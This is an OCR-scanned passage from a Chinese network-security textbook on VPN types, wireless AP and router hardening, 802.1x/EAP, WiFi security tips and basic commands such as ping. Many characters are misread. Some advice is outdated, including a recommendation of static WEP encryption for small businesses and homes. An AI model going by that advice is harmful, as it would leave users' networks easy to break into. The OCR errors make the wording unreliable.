户 端 和 服务 器 端 都 要 证 明 身 份 ;车 所 连接 的 服务 器 不 提供 身份 验证 , 则 连接 将 被 断 开 。 

(6) 扩展 身份 认证 协议 (Extensible Authentication Protocol, EAP)。 可 增加 对 许多 
身份 验证 方案 的 支持 ,包括 令 牌 卡 、 一 次 性 密码 、 使 用 智能 卡 的 公 钥 身份 验证 .证 书 及 其 
他 身份 验证 。 最 安全 的 认证 方法 是 和 智能 卡 一 起 使 用 “可 扩展 身份 验证 协议 -传输 层 安全 
协议 ”, 即 EAP-TLS 认证 。 


224 ”VEN 技术 的 应 用 


在 VPN 技术 实际 应 用 中 ,对 不 同 网 络 用 户 应 提供 不 同 的 解决 方案 。 这 些 解决 方案 
主要 分 为 3 种 : 远程 访问 虚拟 网 (Access VPN) ,企业 内 部 虚拟 网 (Intranet VPN) 和 企业 
扩展 虚拟 网 (Extranet VPN)。 


1. 远程 访问 虚拟 网 


通过 一 个 与 专用 网 相同 策略 的 共享 基础 设施 ,可 提供 对 企业 内 网 或 外 网 的 远程 访问 
服务 ,使 用 户 随时 以 所 需 方式 访问 企业 资源 ,如 模拟 、 拨 号 ISDN ,数字 用 户 线 路 (xDSL)、 
移动 IP 和 电缆 技术 等 ,可 安全 地 连接 移动 用 户 、 远 程 工 作者 或 分 支 机 构 。 这 种 VPN 适 
用 于 拥有 移动 用 户 或 有 远程 办 公 需 要 的 机 构 , 以 及 需要 提供 与 消费 者 安全 访问 服务 的 企 
业 。 远 程 验 证 拨号 用 户 服 务 (Remote Authentication Dial In User Service. RADIUS) 服 
务 器 可 对 异地 分 支 机 构 或 出 差 在 外 地 的 员工 进行 验证 和 授权 ,保证 连接 安全 且 降 低 电 话 
费用 。 


2. 企业 内 部 虚拟 网 


利用 Intranet VPN 方式 可 在 Internet 上 构建 全 球 的 Intranet VPN ,企业 内 部 资源 用 
户 只 需 连 入 本 地 ISP 的 接 入 服务 提供 点 (Point Of Presence,POP) 即 可 相互 通信 ,而 实现 
传统 WAN 组 建 技术 均 需 要 有 专线 。 利 用 该 VPN 线路 不 仅 可 保证 网 络 的 互联 性 ,而 且 ， 
可 利用 隧道 .加 密 等 VPN 特性 保证 在 整个 VPN 上 的 信息 安全 传输 。 这 种 VPN 通过 一 
个 使 用 专用 连接 的 共享 基础 设施 ,连接 企业 总 部 和 分 支 机 构 , 企 业 拥有 与 专用 网 络 相 同 
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的 政策 ,包括 安全 、 服 务 质量 可 管理 性 和 可 靠 性 ,如 总 公司 与 分 公司 构建 的 企业 内 
部 VPN。 


3. 企业 扩展 虚拟 网 


主要 用 于 企业 之 间 的 互 连 及 安全 访问 服务 。 可 通过 专用 连接 的 共享 基础 设施 ,将 客 
户 .供应 商 、 合 作 伙伴 或 相关 群体 连接 到 企业 内 部 网 。 企 业 拥 有 与 专用 网 络 相 同 的 安全 、 
服务 质量 等 政策 。 可 简便 地 对 外 部 网 进行 部 署 和 管理 ,外 部 网 的 连接 可 使 用 与 部 署 内 部 
网 和 远 端 访问 VPN 相同 的 架构 和 协议 进行 部 署 ,主要 是 接 入 许可 不 同 。 

企业 的 一 些 国 内 外 客户 在 涉及 订单 时 常 需要 访问 企业 的 ERP 系统 ,查询 其 订单 的 
处 理 进 度 等 。 客 户 是 上 帝 , 可 以 使 用 VPN 技术 实现 企业 扩展 虚拟 局 域 网 ,让 客户 也 能 够 
访问 公司 企业 内 部 的 ERP 服务 器 。 但 应 注意 数据 过 滤 及 访问 权限 限制 。 

乓 讨论 思考 

(1) VPN 的 本 质 是 什么 ? 为 何 VPN 需要 加 密 技 术 辅 助 ? 

(2) VPN 几 种 应 用 的 区 别 是 什么 ? 


23 无 线 网 络 安全 技术 概述 


231 无 线 网 络 安全 概述 


随 着 无 线 网 络 技术 的 快速 发 展 和 广泛 应 用 ,其 安全 性 问题 更 加 突出 并 引起 极 大 关 
注 。 防 范 措施 主要 包括 访问 控制 和 数据 加 密 两 种 技术 ,访问 控制 技术 可 保证 机 密 数 据 只 
能 由 授权 用 户 访问 ,而 数据 加 密 则 要 求 发 送 的 数据 只 能 被 授权 用 户 所 接收 和 使 用 。 

无 线 网 络 在 数据 传输 时 以 微波 进行 辐射 传播 ,只 要 在 无 线 接 入 点 (Access Point, AP) 
的 覆盖 范围 内 ,电脑 .手机 等 所 有 各 种 无 线 终端 都 可 能 接收 到 无 线 信号 。AP 无 法 将 无 线 
信和 号 定向 到 一 个 特定 的 接收 设备 ,时 常 有 无 线 网 络 用 户 被 别人 免费 足 网 接 入 、 资 号 或 汇 
密 等 ,因此 ,无 线 网 络 的 安全 威胁 、 风 险 和 隐患 更 加 突出 。 

国际 有 关 安 全 机 构 的 最 近 一 次 调查 表明 ,有 85% 的 企业 网 络 经 理 认 为 无 线 网 络 安全 
防范 意识 和 手段 还 需要 进一步 加 强 。 由 于 WiFi 的 IEEE 802. 11 规范 安全 协议 设计 与 实 
现 缺 陷 等 原因 ,致使 无 线 网 络 存在 着 一 些 安全 漏洞 和 风险 (参见 2. 3. 5 节 ) ,黑客 可 进行 
中 间 人 (Man-in-the-Middle) 攻 击 .拒绝 服务 (DoS) 攻 击 .封包 破解 攻击 等 。 鉴 于 无 线 网 络 
自身 的 特性 ,黑客 很 容易 搜寻 到 网 络 接口 ,利用 窃取 的 有 关 信 息 接 和 人 客户 网 络 ,肆意 盗 取 
机 密 信息 或 进行 破坏 。 另 外 ,企业 员工 对 无 线 设备 滥用 也 会 造成 安全 隐患 和 风险 ,如 随 
意 开 放 AP 或 打开 无 线 网 卡 的 Ad hoc 模式 ,或 误 上 别人 假冒 的 合法 AP 导致 泄密 等 。 


232 无 线 网 络 AP 及 路 由 安全 


1. 无 线 接 入 点 安全 
无 线 接 人 点 (AP) 用 于 实现 无 线 客 户 端 之 间 的 信号 互联 和 中 继 , 其 安全 措施 如 下 : 
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(1) 修改 admin 密码 。 无 线 AP 与 其 他 网 络 设备 一 样 ,也 提供 了 初始 的 管理 员 用 户 
名 和 密码 ,其 默认 用 户 名 基本 是 admin, 而 密码 大 部 分 为 空 或 仍 为 admin。 提 供 的 各 种 系 
统管 理 员 默 认 用 户 名 和 密码 基本 一 致 , 若 不 及 时 修改 ,将 给 黑客 以 可 乘 之 机 。 

(2) WEP 加 密 传输 。 数 据 加 密 是 实现 网 络 安全 的 一 项 重要 技术 ,可 通过 协议 WEP 
(Wired Equivalent Privacy, 有 线 等 效 保密 ) 来 进行 。WEP 由 IEEE 制定 ,是 IEEE 802. 
11b 协议 中 最 基本 的 无 线 安全 加 密 措施 ,是 所 有 经 过 WiFi TM 认证 的 无 线 局 域 网 产品 所 
支持 的 一 项 标准 功能 ,其 主要 用 途 有 三 方面 : 一 是 防止 数据 被 黑客 途中 恶意 算 改 或 伪造 ; 
二 是 用 WEP 加 密 算法 对 数据 进行 加 密 ,防止 数据 被 黑客 窃听 ;三 是 利用 接 人 控制 ,防止 
未 授权 用 户 对 其 网 络 进行 访问 。 

WEP 加 密 采 用 静态 保密 密 钥 , 各 WLAN 终端 使 用 相同 的 密 钥 访问 无 线 网 络 。WEP 
提供 认证 功能 , 当 启用 加 密 机 制 功能 后 ,客户 端 在 尝试 连接 AP 时 ,AP 将 发 出 一 个 
Challenge Packet 给 客户 端 ,客户 端 再 利用 共享 密 钥 将 此 值 加 密 后 送 回 存 取 点 进行 认证 
比 对 ,只 有 正确 无 误 , 才 能 获准 存 取 网 络 资源 。AboveCable 所 有 型 号 的 AP 都 支持 
64 位 /128 位 的 静态 WEP 加 密 , 可 有 效 防止 数据 被 窃听 或 盗用 。 

(3) 禁用 DHCP 服务 。 启 用 无 线 AP 的 DHCP 时 ,黑客 可 自动 获取 IP 地 址 接 人 无 
线 网 络 。 禁 用 此 功能 后 ,黑客 只 能 赁 猜测 破译 IP 地 址 、 子 网 掩 码 、 默 认 网 关 等 ,增强 了 无 
线 AP 的 安全 性 。 

(4) 修改 SNMP 字符 串 。 必 要 时 应 禁用 无 线 AP 支持 的 SNMP 功能 ,特别 对 无 专用 
网 络 管理 软件 且 规模 较 小 的 网 络 。 若 确 需 SNMP 进行 远程 管理 , 则 需 修改 公开 及 专用 的 
共用 字符 串 。 和 否则 ,黑客 可 能 利用 SNMP 获得 有 关 的 重要 信息 ,借助 SNMP 漏洞 进行 攻 
击破 坏 。 

(5) 禁止 远程 管理 。 对 规模 较 小 的 网 络 ,应 直接 登录 到 无 线 AP 进行 管理 ,无 须 开启 
AP 的 远程 管理 功能 。 

(6) 修改 SSID 标识 。 无 线 AP 厂商 可 利用 SSID( 初 始 化 字符 串 ) ,在 默认 状态 下 检 
验 登 录 无 线 网 络 结 点 的 连接 请 求 , 通 过 检验 即 可 连接 到 无 线 网 络 。 由 于 同一 厂商 的 产品 
都 使 用 相同 的 SSID 名 称 , 从 而 给 黑客 提供 了 可 乘 之 机 ,以 非 授权 连接 对 无 线 网 络 造成 威 
胁 。 在 安装 无 线 局 域 网 之 初 ,就 应 尽快 登录 到 结 点 的 管理 页 面 .修改 默认 的 SSID。 

(7) 禁止 SSID 广播 。 为 了 保证 无 线 网 络 安全 ,应 当 禁 用 SSID 通知 客户 端 所 采用 的 
默认 广播 方式 。 可 使 非 授权 客户 端 无 法 通过 广播 获得 SSID, 即 无 法 连接 到 无 线 网 络 。 否 
则 ,再 复杂 的 SSID 设置 也 无 安全 可 言 。 

(8) 过 滤 MAC 地 址 。 利 用 无 线 AP 的 访问 列表 功能 可 精确 限制 连接 到 结 点 工作 
站 。 对 不 在 访问 列表 中 的 工作 站 ,将 无 权 访问 无 线 网 络 。 无 线 网 卡 都 有 各 自 的 MAC 地 
址 ,可 在 结 点 设备 中 创建 一 张 *MAC 访问 控制 列表 ”, 将 合法 网 卡 的 MAC 地 址 输入 到 此 
列表 中 。 使 只 有 “MAC 访问 控制 列表 ”中 显示 的 MAC 地 址 才能 进入 到 无 线 网 络 。 

(9) 合理 放置 无 线 AP。 将 无 线 AP 放置 在 一 个 合适 的 位 置 非常 重要 。 无 线 AP 的 
放置 位 置 不 仅 能 决定 无 线 局 域 网 的 信号 传输 速度 .通信 信和 号 强 弱 ,还 影响 网 络 通信 安全 。 
另外 ,在 放置 天 线 前 ,应 先 确定 无 线 信号 覆盖 范围 ,并 根据 范围 大 小 将 其 放 到 其 他 用 户 无 
法 触及 的 位 置 。 应 将 无 线 网 络 结 点 放 在 房间 正中 间 , 并 将 工作 站 分 散在 其 结 点 周围 ,使 
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其 他 房间 的 工作 站 无 法 自动 搜索 到 无 线 网 络 , 从 而 不 易 出 现 信息 泄密 。 

(10) WPA 用 户 认证 。WPA(WiFi Protected Access, WiFi 安全 接 人 ) 利 用 一 种 暂时 
密 钥 完整 性 协议 TKIP(Temporal Key Integrity Protocol) 处 理 WEP 所 不 能 解决 的 各 设 
备 共用 一 个 密 钥 的 安全 问题 。WPA 使 用 的 密 钥 与 网 络 上 各 设备 的 MAC 地 址 及 一 个 更 
大 的 初始 化 向 量 合并 ,确保 各 结 点 均 用 一 个 不 同 的 密 钥 流 对 其 数据 加 密 。 之 后 TKIP 采 
用 RC4 加 密 算法 加 密 数据 。 与 WEP 不 同 ,TKIP 修改 了 常用 密 钥 ,而 且 包括 完整 性 检查 
功能 ,可 确保 密 钥 安全 ,并 加 强 了 由 WEP 提供 的 不 完善 的 用 户 认证 功能 ,还 包含 对 IEEE 
802. 1x 和 EAP 的 支持 。 既 可 通过 外 部 RADIUS 服务 对 无 线 用 户 进行 认证 ,也 可 在 大 型 
网 络 中 使 用 RADIUS 协议 自动 更 改 和 分 配 密 钥 。 


2. 无 线路 由 器 安全 


由 于 无 线路 由 器 位 于 网 络 边缘 ,面临 更 多 安全 危险 。 无 线路 由 器 不 仅 具有 无 线 网 络 
AP 的 功能 ,还 集成 了 宽带 路 由 器 的 功能 ,因此 ,可 实现 小 型 网 络 的 Internet 连接 共享 。 
除了 可 采用 无 线 网 络 AP 的 安全 策略 外 ,还 应 采用 如 下 安全 策略 : 

(1) 利用 网 络 防火 墙 。 充 分 利用 无 线路 由 器 内 置 的 防火 墙 功能 ,以 加 强 防 护 能 力 。 

(2) 实施 IP 地 址 过 滤 。 启 用 IP 地 址 过 滤 列 表 , 进 一 步 提高 无 线 网 络 的 安全 性 。 

(3) 对 无 线路 由 器 进行 安全 设置 ,同时 设置 尽量 长 且 复 杂 的 安全 密码 。 
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IEEE 802. 1x 是 一 种 基于 端口 的 网 络 接 人 控制 技术 ,以 网 络 设备 的 物理 接 人 级 ( 交 
换 机 设备 的 端口 连接 在 该 类 端口 ) 对 接 和 人 设备 进行 认证 和 控制 。 可 提供 一 个 可 靠 的 用 户 
认证 和 密 钥 分 发 的 框架 ,控制 用 户 只 在 认证 通过 后 才 可 连接 网 络 。 它 本 身 并 不 提供 实际 
的 认证 机 制 ,需要 和 上 层 认证 协议 EAP 配合 实现 用 户 认证 和 密 钥 分 发 。EAP 允许 无 线 
终端 支持 不 同 的 认证 类 型 ,可 与 后 台 不 同 的 认证 服务 器 通信 ,如 远程 验证 服务 。 

IEEE 802. 1x 认证 过 程 如 下 : 

(1) 无 线 客户 端 向 AP 发 送 请 求 ,尝试 与 AP 进行 通信 。 

(2) AP 将 加 密 数 据 发 送 给 验证 服务 器 进行 用 户 身份 认证 。 

(3) 验证 服务 器 确认 用 户 身 份 后 ,AP 允许 该 用 户 接 入 。 

(4) 建立 网 络 连接 后 授权 用 户 通过 AP 访问 网 络 资源 。 

用 IEEE 802. 1x 和 EAP 作为 身份 认证 的 无 线 网 络 可 分 为 如 图 2-6 所 示 的 3 个 主要 
部 分 。 

(1) 请 求 者 。 运 行 在 无 线 工 作 站 上 的 软件 客户 端 。 

(2) 认证 者 。 无 线 访 问 点 。 

(3) 认证 服务 器 。 作 为 一 个 认证 数据 库 , 通 常 是 一 个 RADIUS 服务 器 的 形式 ,如 微 
软 公司 的 IAS 等 。 


234 无 线 网 络 安全 技术 应 用 
无 线 网 络 在 不 同 的 应 用 环境 对 其 安全 性 的 需求 各 异 , 以 AboveCable 公司 的 无 线 网 
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无 线 客户 端 无 线 访问 点 RADIUS 服务 器 
(请 求 者 ) (认证 者 ) (认证 服务 器 ) 


2-6 使 用 IEEE 802. 1x 及 EAP 身份 认证 的 无 线 网 络 


络 安全 技术 作为 实例 。 为 了 更 好 地 发 挥 无 线 网 络 * 有 线 速度 无 线 自由 ”的 特性 ,该 公司 根 
据 长 期 积累 的 经 验 ,针对 各 行业 对 无 线 网 络 的 需求 ,制定 了 一 系列 的 安全 方案 ,最 大 程度 
上 方便 用 户 构建 安全 的 无 线 网 络 ,节省 不 必要 的 开支 。 


1. 小 型 企业 及 家 庭 用 户 


小 型 企业 和 一 般 家 庭 用 户 使 用 的 网 络 范围 相对 较 小 , 且 终端 用 户 数量 相对 有 限 ， 
AboveCable 的 初级 安全 方案 可 满足 对 网 络 安全 需求 , 且 投 资 成 本 低 , 配 置 方便 ,效果 显 
著 。 此 方案 建议 使 用 传统 的 WEP 认证 与 加 密 技 术 , 各 种 型 号 的 AP 和 无 线路 由 器 都 支 
FF 64 位 .128 位 WEP 认证 与 加 密 , 以 保证 无 线 链 路 中 的 数据 安全 ,防止 数据 被 盗用 。 同 
时 ,由 于 这 些 场合 的 终端 用 户 数量 稳定 且 有 限 ,手工 配置 WEP 密 钥 也 可 行 。 


2. 仓库 物流 、 医 院 ,学校 和 餐饮 娱乐 行业 


在 这 些 行 业 中 ,网络 覆 盖 范 围 及 终端 用 户 的 数量 增 大 ,AP 和 无 线 网 卡 的 数量 需要 增 
多 ,同时 安全 风险 及 隐患 也 有 所 增加 , 仅 依靠 单一 的 WEP 已 无 法 满足 其 安全 需求 。 
AboveCable 的 中 级 安全 方案 使 用 IEEE 802. 1x 认证 技术 作为 无 线 网 络 的 安全 核心 ,并 
通过 后 台 的 RADIUS 服务 器 进行 用 户 身份 验证 ,能 够 有 效 地 阻止 未 经 授权 的 接 入 。 

对 多 个 AP 的 管理 问题 , 若 管理 不 当 也 会 增加 网 络 的 安全 隐患 。 为 此 ,需要 产品 不 仅 
支持 IEEE 802. 1x 认证 机 制 , 同 时 还 支持 SNMP 网 络 管理 协议 ,在 此 基础 上 以 AirPanel 
Pro AP 集群 管理 系统 ,便于 对 AP 的 管理 和 监控 。 


3. 公共 场所 及 网 络 运营 商 、 大 中 型 企业 和 金融 机 构 


在 公共 地 区 ,如 机 场 、 火 车 站 、 大 学 或 大 型 商场 等 ,一 些 用 户 需 要 通过 无 线 接 入 
Internet. WJ Web 页 面 、 接 收 E-mail 或 WiFi 等 ,对 此 安全 可 靠 地 接 入 Internet 很 关键 。 
这 些 区 域 通常 由 网 络 运营 商 提供 网 络 设施 ,对 用 户 认 证 问题 至 关 重 要 。 和 否则 ,可 能 造成 
盗用 服务 等 危险 ,为 提供 商 和 用 户 造成 损失 。AboveCable 提出 使 用 IEEE 802. 1x 的 认 
证 方式 ,并 通过 后 台 RADIUS 服务 器 进行 认证 计 费 。 

针对 公共 场所 存在 相 邻 用 户 互 访 引起 的 数据 泄漏 问题 ,设计 了 公共 场所 专用 的 
AP 一 一 HotSpot AP。 可 将 其 连接 到 所 有 无 线 终端 的 MAC 地 址 自动 记录 ,在 转发 报 文 
的 同时 ,判断 该 段 报 文 是 否 发 送 给 MAC 列表 的 某 个 地 址 , 若 在 列表 中 则 中 断 发 送 ,实现 
用 户 隔 离 。 

对 于 大 中 型 企业 和 金融 机 构 ,网 络 安全 性 是 至 关 重 要 的 问题 。 在 使 用 IEEE 802. 1x 
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认证 机 制 的 基础 上 ,为 了 更 好 地 解决 远程 办 公用 户 安 全 访问 公司 内 部 网 络 信息 的 要 求 ， 
AboveCable 建议 利用 现 有 的 VPN 设施 ,进一步 完善 网 络 的 安全 性 能 。 现 在 ,VPN 已 经 
广泛 应 用 于 保护 远程 接 人 的 数据 传输 安全 ,很 多 公司 的 内 部 网 络 系统 都 已 有 VPN 接 入 
服务 器 ,利用 现 有 资源 就 可 快速 简便 地 满足 这 些 用 户 的 安全 需求 。VPN 协议 包括 第 二 
Jë PPTP/L2TP 协议 和 第 三 层 的 IPSec 协议 ,具有 比 WEP 协议 更 高 层 的 网 络 安全 性 ,可 
支持 用 户 和 网 络 间 端 到 端的 安全 隧道 连接 。VPN 技术 的 另 一 个 优点 是 可 以 提供 基于 
RADIUS 的 用 户 认证 和 计 费 。 


235 WH 的 安全 性 和 措施 
1. WiFi 的 概念 及 应 用 


WiFi( Wireless Fidelity) 又 称 IEEE 802. 11b 标准 ,是 一 种 可 以 将 终端 (电脑 .PDA、 
手机 ) 等 以 无 线 方式 互联 的 技术 。 是 由 “无 线 以 太 网 相 容 联盟 ”(Wireless Ethernet 
Compatibility Alliance, WECA) 所 发 布 的 业界 术语 ,用 于 改善 基于 IEEE 802. 11 标准 的 
无 线 网 络 产品 之 间 的 互通 性 。WiFi 主要 有 3 个 标准 : 较 少 人 使 用 的 IEEE 802. 11a、 低 速 
的 IEEE 802. 11b 和 高 速 的 IEEE 802. 11g。WiFi 有 多 种 工作 模式 : Ad-hoc 无 线 接 人 点 
(AP) 点 对 多 点 路 由 (P 2 MP) 无线 客 户 端 (AP Client) 和 无 线 转发 器 (Repeater) 。 

WiFi 广泛 应 用 于 无 线 上 网 ,支持 智能 手机 、 平 板 电脑 和 新 型 照相 机 等 。 实 际 上 就 是 
将 有 线 网 络 信号 转换 成 无 线 信 号 ,使 用 无 
线路 由 器 供 支持 其 技术 的 相关 电脑 .手机 、 =] 
平板 等 接收 以 节省 流量 费 。WiFi 信号 也 需 
要 ADSL ,宽带 ,无 线路 由 器 等 。WiFi 在 手 


机 上 的 应 用 包括 查询 或 转发 信息 、 下 载 .看 a 
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件 、 实 时 定位 、 游 戏 等 。 很 多 机 构 都 提供 免 
费 服务 的 WiFi, 如 图 2-7 所 示 。 

【案例 2-2] WiFi 的 安全 性 由 于 网 银 
等 事故 频 发 备 受 关注 。2015 年 10 J É FH 
上 日报 讯 ,市 民 王 潘 (化 名 ) 因 在 公共 WiFi 上 进行 网 银 操作 ,银行 卡 被 犯罪 分 子 盗 刷 23.5 
万 元 。 所 幸 经 过 民警 帮助 , 钱 被 全 部 追 回 。2015 年 4 月 ,美国 审计 总 署 (GAO) 在 报告 中 
表示 ,现在 多 数 商 业 航 空 公 司 可 访问 互联 网 ,这 让 黑客 控制 飞机 成 为 可 能 。 报 告 称 现代 
飞机 拥有 可 被 枣 怖 分 子 侵入 并 控制 的 约 60 个 外 部 天 线 。 


图 2-7 WiFi 的 广泛 应 用 


2. WiFi 特点 及 组 成 


WiFi 可 从 9 个 方面 体现 其 特点 : 带宽 ,信和 号、 功 耗 ,便捷 、 节 省 ,安全 、 融 网 \ 个 人 服 
务 .移动 特性 。IEEE 启动 项 目 计 划 将 IEEE 802. 11 标准 数据 速率 提高 到 千 兆 或 几 千 兆 ， 
并 通过 IEEE 802. 11n 标准 将 数据 速率 提高 ,以 适应 不 同 的 功能 和 设备 ,通过 IEEE 802. 
11s 标准 将 这 些 高 端 结 点 连接 ,形成 类 似 互 联网 的 具有 宛 余 能 力 的 WiFi 网 络 。 
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WiFi 是 由 AP 和 无 线 网 卡 组 成 的 无 线 网 络 , 如 图 2-8 所 示 。 一 般 架 设 无 线 网 络 的 基 
本 配备 就 是 无 线 网 卡 及 一 个 AP, 便 能 以 无 线 的 模式 配合 既 有 的 有 线 架构 来 分 享 网 络 资 
源 , 架 设 费 用 和 复杂 程度 远 远 低 于 传统 的 有 线 网 络 。 如 果 只 是 几 台 计算 机 的 对 等 网 ,也 
可 不 用 AP, 只 需要 每 台 计 算 机 配备 无 线 网 卡 。AP 可 作为 “无 线 访问 结 点 ”或 “桥接 器 ”。 
主要 当 作 传统 的 有 线 局 域 网 络 与 无 线 局 域 网 络 之 间 的 桥梁 ,因此 任何 一 台 装 有 无 线 网 卡 
的 PC 均 可 通过 AP 去 分 享有 线 局 域 网 络 甚至 广域网 络 的 资源 ,其 工作 原理 相当 于 一 个 
内 置 无 线 发 射 器 的 集线器 或 者 是 路 由 ,而 无 线 网 卡 则 是 负责 接收 由 AP 所 发 射 信号 的 客 
户 端 设备 。 有 了 AP 就 像 有 线 网 络 的 集线器 ,无 线 工 作 站 可 快速 与 网 络 相 连 。 特 别 是 对 
于 宽带 使 用 , WiFi 更 显 优势 ,有 线 宽 带 网 络 (ADSL ,小 区 LAN 等 ) 到 户 后 ,连接 到 一 个 
AP, 然 后 在 计算 机 中 安装 一 个 无 线 网 卡 即 可 。 若 机 构 或 家 庭 有 AP, 用 户 获得 授权 后 ,就 
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图 2-8 WiFi 原理 及 组 成 


3. WiFi 的 认证 种 类 


前 WiFi 联 盟 所 公布 的 认证 种 类 如 下 : 

(1) WPA/WPA2。 是 基于 IEEE 802. 11a、IEEE 802. 11b、IEEE 802. 11g 的 单 模 、 双 
模 或 双 频 的 产品 所 建立 的 测试 程序 。 内 容 包 含 通信 协议 的 验证 、 无 线 网 络 安全 性 机 制 的 
验证 ,以 及 网 络 传输 表现 与 相 容 性 测试 。 

(2) WMM(WiFi MultiMedia, WiFi 多 媒体 ): 当 影 音 多 媒体 通过 无 线 网 络 传递 时 ， 
验证 其 带宽 保证 的 机 制 正 常 运作 在 不 同 的 无 线 网 络 装置 及 不 同 的 安全 性 设 定 上 是 
WMM 测试 的 目的 。 

(3) WMM Power Save( WiFi 多 媒体 省 电 模 式 ): 在 影音 多 媒体 通过 无 线 网 络 的 传 
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递 时 ,通过 管理 无 线 网 络 装置 的 待命 时 间 延 长 电池 寿命 且 不 影响 其 功能 性 ,可 通过 
WMM Power Save 测试 验证 。 

(4) WPS(WiFi Protected Setup, WiFi 保护 设置 ) : 可 让 消费 者 通过 更 简单 的 方式 设 
定 无 线 网 络 装置 ,并 保证 一 定 的 安全 性 。 当 前 WPS 允许 通过 Pin Input Config( PIN , 输 
入 配置 )、Push Button Config(PBC, 按 钮 配置 )、USB Flash Drive Config( UFD, USB N 
存 配 置 )、Near Field Communication( 近 场 通 信 ) 和 Contactless Token Config(NFC, 非 接 
触 式 令 牌 配置 ) 的 方式 设 定 无 线 网 络 装 置 。 

(5) ASD(Application Specific Device, 应 用 专用 设备 ) : 是 针对 除了 无 线 网 络 接 入 点 
及 站 台 (station) 之 外 有 特殊 应 用 的 无 线 网 络 装置 ,如 DVD 播放 器 .投影 机 .打印机 等 。 

(6) CWG(Converged Wireless Group ,融合 无 线 组 ) : 主要 是 针对 WiFi 移动 融合 设 
备 (mobile converged devices) 的 RF 部 分 测量 的 测试 程序 。 


4. 增强 WiFi 的 安全 措施 


无 线路 由 器 密码 破解 的 速度 取决 于 软件 和 硬件 ,只 要 注意 在 密码 设置 时 尽量 复杂 
些 , 即 可 增强 安全 性 。 此 外 ,还 可 以 采用 以 下 几 种 设置 方法 : 

(1) 采用 WPA/WPA2 加 密 方式 ,不 用 有 缺陷 的 加 密 方式 ,这 是 最 常用 的 加 密 方式 。 

(2) 不 用 初始 口令 和 密码 ,要 用 长 且 复 杂 的 密码 ,并 定期 更 换 , 使 攻击 者 不 容易 猜 出 
密码 。 

(3) 无 线路 由 器 后 台 管 理 默认 的 用 户 名 和 密码 一 定 尽快 更 改 并 定期 更 换 。 

(4) 禁用 WPS 功能 。 现 有 的 WPS 功能 存在 漏洞 ,使 路 由 器 的 接 人 密码 和 后 台 管 理 
密码 有 可 能 暴露 。 

(5) 启用 MAC 地 址 过 滤 功 能 , 绑 定 常用 设备 。 经 常 登录 路 由 器 管理 后 台 ,查看 并 断 
开 连 入 WiFi 的 可 疑 设备 , 封 掉 MAC 地 址 并 修改 WiFi 密码 和 路 由 器 后 台 账 号 密码 。 

(6) 关闭 远程 管理 端口 和 路 由 器 的 DHCP 功能 ,启用 固定 IP 地 址 ,不 要 让 路 由 器 自 
动 分 配 IP 地 址 。 

(7) 注意 固件 升级 。 及 时 修补 漏洞 ,进行 升级 或 换 成 更 安全 的 无 线路 由 器 。 

(8) 不 管 在 手机 端 还 是 计算 机 端 都 应 安装 病毒 检测 安全 软件 。 对 于 黑客 常用 的 钓鱼 
网 站 等 攻击 手法 ,安全 软件 可 以 及 时 拦截 提醒 。 

知识 拓展 ”瑞星 安全 专家 建议 使 用 WiFi 安全 防护 措施 : 

(1) 不 用 无 密码 的 免费 WiFi, 若 须 用 公共 WiFi, 应 向 工作 人 员 咨 询 确 认 。 

(2) 在 公共 场所 连接 WiFi 时 尽量 不 用 网 银 、 在 线 支 付 .电子 邮箱 等 应 用 。 

(3) 若 需 使 用 涉及 重要 信息 的 应 用 , 断 开 WiFi, 用 手机 流量 操作 。 

(4) 在 无 WiFi 的 情况 下 ,可 用 瑞星 安全 WiFi, 用 云 安 全 防火 墙 加 密 上 网 。 

加 讨论 思考 

(1) 无 线 网 络 安全 管理 的 基本 方法 是 什么 ? 

(2) 无 线 网 络 在 不 同 环境 下 使 用 对 安全 性 的 要 求 有 哪些 ? 

(3) 应 用 中 增强 WiFi 安全 的 方法 具体 有 哪些 ? 
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“24 常用 网 络 安全 管理 工具 


通常 ,在 进行 网 络 安全 检测 与 安全 管理 过 程 中 ,经 常 在 “开始 ”菜单 的 “运行 "项目 内 
输入 cmd( 运 行 cmd. exe) ,然后 ,在 DOS 环境 下 使 用 一 些 网 络 管理 工具 和 命令 ,直接 查看 
和 检测 网 络 的 有 关 信 息 。 常 用 的 网 络 安全 管理 命令 包括 : 判断 主机 是 否 连通 的 ping 命 
令 , 查 看 IP 地 址 配置 情况 的 ipconfig 命令 ,查看 网 络 连接 状态 的 netstat 命令 ,进行 网 络 
操作 的 net 命令 和 行 定 时 器 操作 的 at 命令 等 。 


241 网 络 连通 性 及 端口 扫描 命令 
1. ping 命令 


ping 命令 的 主要 功能 是 通过 发 送 Internet 控制 报 文 协议 (ICMP) 包 ,检验 与 另 一 台 
TCP/IP 主机 的 IP 级 连通 情况 。 网 络 管理 员 常 用 这 个 命令 检测 网 络 的 连通 性 和 可 到 达 
性 。 同 时 ,可 将 应 答 消 息 的 接收 情况 和 往返 过 程 的 次 数 一 起 进行 显示 。 

【案例 2-3] 如 果 只 使 用 不 带 套数 的 ping 命令 ,窗口 将 会 显示 命令 及 其 各 种 参数 使 
用 的 帮助 信息 ,如 图 2-9 所 示 。 使 用 ping 命令 的 语法 格式 是 : ping 对 方 计算 机 名 或 者 IP 
地 址 。 如 果 连 通 的 话 , 则 返回 的 连通 信息 如 图 2-10 所 示 。 


EEC 
C: N2ping = 


Usage: ping [-t] [-a] [-n count] [-1 size] [-f] [-i TTL] [-u TOS] " 
[-r count] [-s count] [[-j host-list] | [-k host-list]] 
[`w timeout] destination-list 


loptione: 

-t Ping the specified host until stopped. 
To see statistics and continue - tupe Control-Break; 
To stop - tupe Control-C. 

-a Resolve addresses to hostnames. 

-n count Nunber of echo requests to send. 

-1 size Send buffer size. 

-f Set Don't Fragment flag in packot. 

-i TTL Time To Live. 

`v TOS Type Of Seruice. 

-r count Record route for count hops. 

-se count Tinestanp for count hops. 


-j host-list Loose source route along host-list. 
-k host-list Strict source route along host-list. 
-u timeout Timeout in milliseconds to wait for each replu 


图 2-9 使 用 ping 命令 的 帮助 信息 


2. quickping 和 其 他 命令 


quickping 命令 可 以 快速 探测 网 络 中 运行 的 所 有 主机 的 情况 。 也 可 以 使 用 跟踪 网 络 
路 由 程序 tracert 命令 .TraceRoute 程序 和 Whois 程序 进行 端口 扫描 检测 与 探测 ,还 可 以 
利用 网 络 扫描 工具 软件 进行 端口 扫描 检测 ,常用 的 网 络 扫描 工具 包括 SATAN NSS、 
Strobe.Superscan 和 SNMP 等 。 
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CA\WINNT\System32\cmd.exe 


|c:\Yping 172.18.25.109 


Pinging 172.18.25.109 with 32 bytes of data: 


172.18.25.109: bytes:32 time<l0ms TTLz128 
